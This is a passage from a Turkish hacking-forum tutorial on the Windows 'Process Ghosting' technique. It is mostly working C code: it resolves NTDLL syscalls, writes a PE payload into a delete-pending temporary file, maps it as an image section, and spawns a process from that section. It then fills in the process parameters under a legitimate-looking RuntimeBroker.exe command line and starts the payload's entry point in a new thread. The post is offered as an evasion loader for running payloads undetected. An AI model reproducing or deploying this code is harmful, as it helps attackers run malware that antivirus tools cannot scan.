3-cü adımda ise, .tmp dosyasından ghost bölüm oluşturacağız. İlerlemeye başlamadan önce, uygulama boyunca çağrılan sistem çağrılarının adreslerini almak gereklidir. Bu, kullanıcı tanımlı NT_API_FP yapısını aşağıdaki kod parçacığında gösterildiği gibi başlangıçta doldurarak ana işlevin başında yapılacaktır.

Kod:
typedef struct _NT_API_FP {
    fnNtOpenFile pNtOpenFile;
    fnNtSetInformationFile pNtSetInformationFile;
    fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
    fnNtWriteVirtualMemory pNtWriteVirtualMemory;
    fnNtWriteFile pNtWriteFile;
    fnNtCreateSection pNtCreateSection;
    fnRtlCreateProcessParametersEx pRtlCreateProcessParametersEx;
    fnNtCreateProcessEx pNtCreateProcessEx;
    fnNtQueryInformationProcess pNtQueryInformationProcess;
    fnNtCreateThreadEx pNtCreateThreadEx;
    fnNtReadVirtualMemory pNtReadVirtualMemory;
} NT_API_FP, * PNT_API_FP;

NT_API_FP g_NtApi = { 0x00 };

int main() {
    HMODULE hNtdll = NULL;
    if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
        return -1;
    g_NtApi.pNtSetInformationFile = (fnNtSetInformationFile)GetProcAddress(hNtdll, "NtSetInformationFile");
    g_NtApi.pNtOpenFile = (fnNtOpenFile)GetProcAddress(hNtdll, "NtOpenFile");
    g_NtApi.pNtWriteFile = (fnNtWriteFile)GetProcAddress(hNtdll, "NtWriteFile");
    g_NtApi.pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    g_NtApi.pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    g_NtApi.pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    g_NtApi.pRtlCreateProcessParametersEx = (fnRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    g_NtApi.pNtCreateProcessEx = (fnNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    g_NtApi.pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
    g_NtApi.pNtReadVirtualMemory = (fnNtReadVirtualMemory)GetProcAddress(hNtdll, "NtReadVirtualMemory");
    g_NtApi.pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    if (!g_NtApi.pNtSetInformationFile || !g_NtApi.pNtOpenFile || !g_NtApi.pNtWriteFile || !g_NtApi.pNtCreateProcessEx ||
        !g_NtApi.pRtlCreateProcessParametersEx ||
        !g_NtApi.pNtQueryInformationProcess || !g_NtApi.pNtCreateSection || !g_NtApi.pNtCreateThreadEx || !g_NtApi.pNtReadVirtualMemory ||
        !g_NtApi.pNtAllocateVirtualMemory ||
        !g_NtApi.pNtWriteVirtualMemory)
    {
        return -1;
    }
    // ...
}


CreateGhostSection Fonksiyonu.
tmp dosyasından ghost bölüm oluşturmak için aşağıdaki adımlar izlenmelidir.
  1. .tmp dosyasına silme izniyle bir işlem tanıtıcısı (handler) alınır. Bu adım, NtOpenFile sistem çağrısı kullanılarak gerçekleştirilir.
  2. Dosya işlem tanıtıcısının kapatıldığında silinmesi için dosya tanıtıcı bilgisini değiştirin. Bu adım, NtSetInformationFile sistem çağrısı kullanılarak gerçekleştirilir.
  3. .tmp dosya içeriğini PE yüküyle üzerine yazın.
  4. .tmp dosya işlem tanıtıcısından bir bölüm tanıtıcısı oluşturun. Bu adım, NtCreateSection sistem çağrısı kullanılarak gerçekleştirilir.
  5. Dosya işlem tanıtıcısını kapatın, .tmp dosyasını silerek kapatın.

CreateGhostSection fonksiyonu yukarıdaki adımların tümünü gerçekleştirecektir. Fonksiyonun aşağıdaki parametreleri vardır:
  • szFileName: NT yol biçiminde oluşturulan geçici dosyanın yolunu içerir.
  • pFileBuffer: PE payloadın temel adresini içerir.
  • dwFileSize: PE payloadı dosyasının boyutunu içerir.
  • phGhostSection: Ghost bölüm saplanacağı HANDLE değişkeninin bir işaretçisidir.
CreateGhostSection çağrıldıktan sonra, PE payladı içeren silinmiş geçici dosya için bir bölüm sapı oluşturulacaktır.
Kod:
BOOL CreateGhostSection(IN LPWSTR szFileName, IN PVOID pFileBuffer, IN DWORD dwFileSize, OUT HANDLE* phGhostSection) {
    HANDLE hFileHandle = INVALID_HANDLE_VALUE,
           hSection = NULL;
    NTSTATUS STATUS = STATUS_SUCCESS;
    UNICODE_STRING uFileName = { 0x00 };
    OBJECT_ATTRIBUTES ObjectAttr = { 0x00 };
    IO_STATUS_BLOCK StatusBlock = { 0x00 };
    FILE_DISPOSITION_INFORMATION FileDispInfo = { .DeleteFileW = TRUE };
    LARGE_INTEGER ByteOffset = { 0x00 };
   
    if (!szFileName || !pFileBuffer || !dwFileSize || !phGhostSection)
        return FALSE;
   
    RtlInitUnicodeString(&uFileName, szFileName);
    InitializeObjectAttributes(&ObjectAttr, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
   
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtOpenFile(&hFileHandle, (DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE), &ObjectAttr, &StatusBlock,
                                                  FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT)))) {
        PRNT_NT_ERR(TEXT("NtOpenFile"), STATUS);
        goto _FUNC_CLEANUP;
    }
   
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtSetInformationFile(hFileHandle, &StatusBlock, &FileDispInfo, sizeof(FILE_DISPOSITION_INFORMATION),
                                                           FileDispositionInformation)))) {
        PRNT_NT_ERR(TEXT("NtSetInformationFile"), STATUS);
        goto _FUNC_CLEANUP;
    }
   
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteFile(hFileHandle, NULL, NULL, NULL, &StatusBlock, pFileBuffer, dwFileSize, &ByteOffset, NULL)))) {
        PRNT_NT_ERR(TEXT("NtWriteFile"), STATUS);
        goto _FUNC_CLEANUP;
    }
   
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0x00, PAGE_READONLY, SEC_IMAGE, hFileHandle)))) {
        PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
        goto _FUNC_CLEANUP;
    }
   
    *phGhostSection = hSection;
   
_FUNC_CLEANUP:
    DELETE_HANDLE(hFileHandle);
    if (!*phGhostSection) {
        DELETE_HANDLE(hSection);
    }
   
    return *phGhostSection ? TRUE : FALSE;
}

4. Ghost Sürecinin Oluşturulması
Ghost süreci, tipik bir yürütülebilir görüntü yolu sağlamak yerine bir bölüm işaretçisi kullanarak NtCreateProcessEx syscall kullanılarak oluşturulacaktır. CreateGhostProcess işlevi aşağıdaki parametreleri alır:
szLegitPeFile: Meşru bir Windows yürütülebilir görüntüye giden yol. Bu görüntü yürütülmeyecek, ancak ghost işlemin komut satırında işlemin yürütülebilir görüntü yolunu doldurmak için kullanılacaktır. Bu parametre, PE yükünün giriş noktası RVA'sını almak için gereklidir (örneğin, L"C:\Windows\system32\RuntimeBroker.exe coffee" gibi komut satırı argümanları içerebilir).hGhostSection: ghost bölümüne bir işaretçi. Bu parametre, CreateGhostSection işlevi çağrıldıktan sonra alınır.pPayloadPeBuffer: PE yükünün bir işaretçisi. Bu, PE'nin giriş noktası RVA'sını almak için gereklidir.
Aşağıdaki kod parçası, hayalet işlemi oluşturan CreateGhostProcess işlevinin ilk kısmıdır.

Kod:
BOOL CreateGhostProcess(IN LPWSTR szLegitPeFile, IN HANDLE hGhostSection, IN PBYTE pPayloadPeBuffer) {
    BOOL bResult = FALSE;
    NTSTATUS STATUS = STATUS_SUCCESS;
    HANDLE hProcess = NULL,
           hThread = NULL;
    PVOID pImageBase = NULL,
          pEntryPnt = NULL;
    DWORD dwEntryPntRVA = 0x00;

    if (!szLegitPeFile || !hGhostSection || !pPayloadPeBuffer)
        return FALSE;

    if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hGhostSection, NULL,
                                                          NULL, FALSE)))) {
        PRNT_NT_ERR(TEXT("NtCreateProcessEx"), STATUS);
        goto _FUNC_CLEANUP;
    }

    printf("[i] Ghost Process PID: %d \n", GetProcessId(hProcess));

    // ...
}

5-ci adım: Ghost İşlem Parametrelerinin Başlatılması
Şu anda oluşturulan ghost işlemin önemli bileşenleri eksiktir, özellikle komut satırı ve kullanıcı ortam değişkenleri. Bu bileşenler, bir işlemin başlaması için gereklidir, bu nedenle bu değerleri uzaktaki işlemdeki doğru adreslere yazmamız gerekmektedir.
Programatik açıdan, ghost işlem PEB yapısındaki PRTL_USER_PROCESS_PARAMETERS ProcessParameters öğesini eksik olarak bulunmaktadır. RTL_USER_PROCESS_PARAMETERS yapısına yazmadan önce aşağıdaki öğelerin başlatılması gerekmektedir:

  • CommandLine: İşlemin komut satırı argümanları.
  • CurrentDirectory: İşlemin çalıştırıldığı geçerli dizin yolunu içerir.
  • ImagePathName: İşlemin yürütülebilir dosya yolu.
  • Environment: Geçerli kullanıcının çevresel değişkenleri.
ProcessParameters->Environment öğesi, RTL_USER_PROCESS_PARAMETERS yapısının ortam değişkenlerinin adresine işaret ettiği için, ProcessParameters->Environment, PEB.ProcessParameters adresinin üstünde veya altında olabilir. Bu durum, Environment öğesini PEB.ProcessParameters'ın geri kalanıyla ayrı bir yazma işlemi olarak, farklı bir adreste yazmamızı gerektirir. Dolayısıyla, ProcessParameters->Environment PEB.ProcessParameters adresinin üstünde veya altında bulunabilir ve bu durumda biri gerçekleşebilir:
Bu kod örneğinde, InitializeProcessParms işlevi, mevcut kullanıcının ortam değişkenlerini ve PEB.ProcessParameters yapısını yazmak için kullanılır. InitializeProcessParms, önce hangi adresin önce olduğunu kontrol eder ve ardından gerekli verileri doğru adreslerde yazmak için devam eder. Son olarak, InitializeProcessParms, uzak işlemin PEB yapısındaki ProcessParameters öğesinin adresini NtWriteVirtualMemory syscall'ının son bir çağrısıyla günceller.

İşlevin bir diğer rolü, uzak işlem içindeki eşleştirilmiş PE yükü görüntüsünün adresini almak ve bu adresi PE yükünün giriş noktasını hesaplamak için gereklidir. Bu adres, NtQueryInformationProcess ve NtReadVirtualMemory syscall'larını kullanarak PEB yapısını okuyarak alınır.

InitializeProcessParms işlevi aşağıdaki parametreleri alır:

  • hProcess: Oluşturulan hayalet işlemine bir işaretçi.
  • szTargetProcess: Hayalet işlemin komut satırı argümanları.
  • ppImageBase: Hayalet işlemdeki eşleştirilmiş PE yükü görüntüsünün adresini alacak bir PVOID işaretçisi.
Kod:
BOOL InitializeProcessParms(IN HANDLE hProcess, IN LPWSTR szTargetProcess, OUT PVOID* ppImageBase) {
    NTSTATUS STATUS = STATUS_SUCCESS;
    UNICODE_STRING UsCommandLine = { 0x00 },
                   UsNtImagePath = { 0x00 },
                   UsCurrentDirectory = { 0x00 };
    PRTL_USER_PROCESS_PARAMETERS pUserProcParms = { 0x00 };
    PVOID pEnvironment = NULL;
    PWCHAR pwcDuplicateStr = NULL,
           pwcDuplicateStr2 = NULL,
           pwcExe = NULL,
           pwcLastSlash = NULL;
    PEB Peb = { 0x00 };
    PROCESS_BASIC_INFORMATION ProcInfo = { 0x00 };
    ULONG_PTR uUserEnvAndParmsBaseAddress = NULL,
              uUserEnvAndParmsEndAddress = NULL;
    SIZE_T sUserEnvAndParmsSize = NULL,
           sNumberOfBytesWritten = NULL;
    PVOID pTmpPntrAddress = NULL;

    /*
     * szTargetProcess - L"C:\\Windows\\system32\\RuntimeBroker.exe coffee" (UNICODE_STRING UsCommandLine)
     * pwcDuplicateStr - L"C:\\Windows\\system32" (UNICODE_STRING UsCurrentDirectory)
     * pwcDuplicateStr2 - L"C:\\Windows\\system32\\RuntimeBroker.exe" (UNICODE_STRING UsNtImagePath)
     */

    if (!(pwcDuplicateStr = _wcsdup(szTargetProcess)))
        return FALSE;

    if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))
        *pwcLastSlash = L'\0';

    if (!(pwcDuplicateStr2 = _wcsdup(szTargetProcess)))
        return FALSE;

    if (pwcExe = wcsstr(pwcDuplicateStr2, L".exe"))
        *(pwcExe + sizeof(".exe")) = L'\0';

    // Retrieves the environment variables
    if (!CreateEnvironmentBlock(&pEnvironment, NULL, TRUE)) {
        PRNT_WN_ERR(TEXT("CreateEnvironmentBlock"));
        return FALSE;
    }

    RtlInitUnicodeString(&UsCommandLine, szTargetProcess);
    RtlInitUnicodeString(&UsCurrentDirectory, pwcDuplicateStr);
    RtlInitUnicodeString(&UsNtImagePath, pwcDuplicateStr2);

    if (!NT_SUCCESS((STATUS = g_NtApi.pRtlCreateProcessParametersEx(&pUserProcParms, &UsNtImagePath, NULL, &UsCurrentDirectory, &UsCommandLine, pEnvironment,
                                                                   NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)))) {
        PRNT_NT_ERR(TEXT("RtlCreateProcessParametersEx"), STATUS);
        return FALSE;
    }

    // Fetch Remote PEB
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL)))) {
        PRNT_NT_ERR(TEXT("NtQueryInformationProcess"), STATUS);
        return FALSE;
    }

    // Read PEB
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtReadVirtualMemory(hProcess, ProcInfo.PebBaseAddress, &Peb, sizeof(PEB), NULL)))) {
        PRNT_NT_ERR(TEXT("NtReadVirtualMemory"), STATUS);
        return FALSE;
    }

    printf("[+] Ghost Process PEB: 0x%p \n", ProcInfo.PebBaseAddress);
    printf("[+] Ghost Process Image: 0x%p \n", (*ppImageBase = Peb.ImageBase));

    uUserEnvAndParmsBaseAddress = (ULONG_PTR)pUserProcParms;
    uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms + pUserProcParms->Length;

    if (pUserProcParms->Environment) {
        // Adjust start address (Scenario 2)
        if ((ULONG_PTR)pUserProcParms > (ULONG_PTR)pUserProcParms->Environment)
            uUserEnvAndParmsBaseAddress = (ULONG_PTR)pUserProcParms->Environment;

        // Adjust end address (Scenario 2)
        if ((ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize > uUserEnvAndParmsEndAddress)
            uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize;
    }

    // Calculate size
    sUserEnvAndParmsSize = uUserEnvAndParmsEndAddress - uUserEnvAndParmsBaseAddress;

    // Set a tmp var
    pTmpPntrAddress = pUserProcParms;

    if (!NT_SUCCESS((STATUS = g_NtApi.pNtAllocateVirtualMemory(hProcess, &pTmpPntrAddress, 0x00, &sUserEnvAndParmsSize, MEM_COMMIT | MEM_RESERVE,
                                                               PAGE_READWRITE)))) {
        PRNT_NT_ERR(TEXT("NtAllocateVirtualMemory"), STATUS);
        return FALSE;
    }

    // Write 'Peb.ProcessParameters'
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, pUserProcParms, pUserProcParms, pUserProcParms->Length, &sNumberOfBytesWritten)))) {
        PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [1]"), STATUS);
        return FALSE;
    }

    if (pUserProcParms->Environment) {
        // Write 'Peb.ProcessParameters->Environment'
        if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, (LPVOID)(pUserProcParms->Environment), (LPVOID)pUserProcParms->Environment,
                                                               pUserProcParms->EnvironmentSize, &sNumberOfBytesWritten)))) {
            PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [2]"), STATUS);
            printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, pUserProcParms->EnvironmentSize);
            return FALSE;
        }
    }

    // Update the address of the 'ProcessParameters' element in remote process to point to the new location
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, &ProcInfo.PebBaseAddress->ProcessParameters, &pUserProcParms, sizeof(PVOID),
                                                           &sNumberOfBytesWritten)))) {
        PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [3]"), STATUS);
        printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, sizeof(PVOID));
        return FALSE;
    }

    return TRUE;
}

6. PE Payloadının Giriş Noktasını Çalıştırma
InitializeProcessParms fonksiyonunu çağırdıktan ve giriş noktasının RVA'sını alıktan sonra, yükün giriş noktasının adresini hesaplamak mümkündür. Bu adım, giriş noktasını çalıştırmak için ghost işlemde bir NtCreateThreadEx syscall çağrısı ile devam edilir. Giriş noktasının RVA'sını almak için aşağıdaki şekilde gösterilen FetchEntryPntOffset fonksiyonunu çağırmak gerekir. FetchEntryPntOffset fonksiyonu, birincil parametre olarak pFileBuffer, okunan PE yük dosyasının adresini kabul eder.

Kod:
DWORD FetchEntryPntOffset(IN PBYTE pFileBuffer) {
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return 0x00;
return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}

Tamamlanmış CreateGhostProcess Fonksiyonu
Kod:
BOOL CreateGhostProcess(IN LPWSTR szLegitPeFile, IN HANDLE hGhostSection, IN PBYTE pPayloadPeBuffer) {
    BOOL bResult = FALSE;
    NTSTATUS STATUS = STATUS_SUCCESS;
    HANDLE hProcess = NULL,
           hThread = NULL;
    PVOID pImageBase = NULL,
          pEntryPnt = NULL;
    DWORD dwEntryPntRVA = 0x00;
   
    // Check for valid inputs
    if (!szLegitPeFile || !hGhostSection || !pPayloadPeBuffer)
        return FALSE;
   
    // Create ghost process
    if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hGhostSection, NULL, NULL, FALSE)))) {
        PRNT_NT_ERR(TEXT("NtCreateProcessEx"), STATUS);
        goto _FUNC_CLEANUP;
    }
    printf("[i] Ghost Process PID: %d \n", GetProcessId(hProcess));
    printf("[i] Initializing Process Parms ... \n");
   
    // Initialize process parameters
    if (!InitializeProcessParms(hProcess, szLegitPeFile, &pImageBase) || !pImageBase)
        goto _FUNC_CLEANUP;
   
    // Fetch entry point RVA
    if (!(dwEntryPntRVA = FetchEntryPntOffset(pPayloadPeBuffer)))
        goto _FUNC_CLEANUP;
   
    // Calculate entry point address
    pEntryPnt = (PVOID)((ULONG_PTR)pImageBase + dwEntryPntRVA);
    printf("[+] Ghost Process Entry Point: 0x%p \n", pEntryPnt);
   
    // Create thread to execute payload
    if (!NT_SUCCESS(g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pEntryPnt, NULL, FALSE, 0x00, 0x00, 0x00, NULL))) {
        PRNT_NT_ERR(TEXT("NtCreateThreadEx"), STATUS);
        goto _FUNC_CLEANUP;
    }
    printf("[*] Payload PE Executed With Thread Of ID: %d \n", GetThreadId(hThread));
   
    bResult = TRUE;
   
    _FUNC_CLEANUP:
    DELETE_HANDLE(hGhostSection);
    DELETE_HANDLE(hProcess);
    DELETE_HANDLE(hThread);
   
    return bResult;
}

Demo :



SurivDemo.gif



Process Herpaderping | herpaderping




Referanslar:

Ellerinize sağlık hocam.
 
  • Beğen
Tepkiler: xzh
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.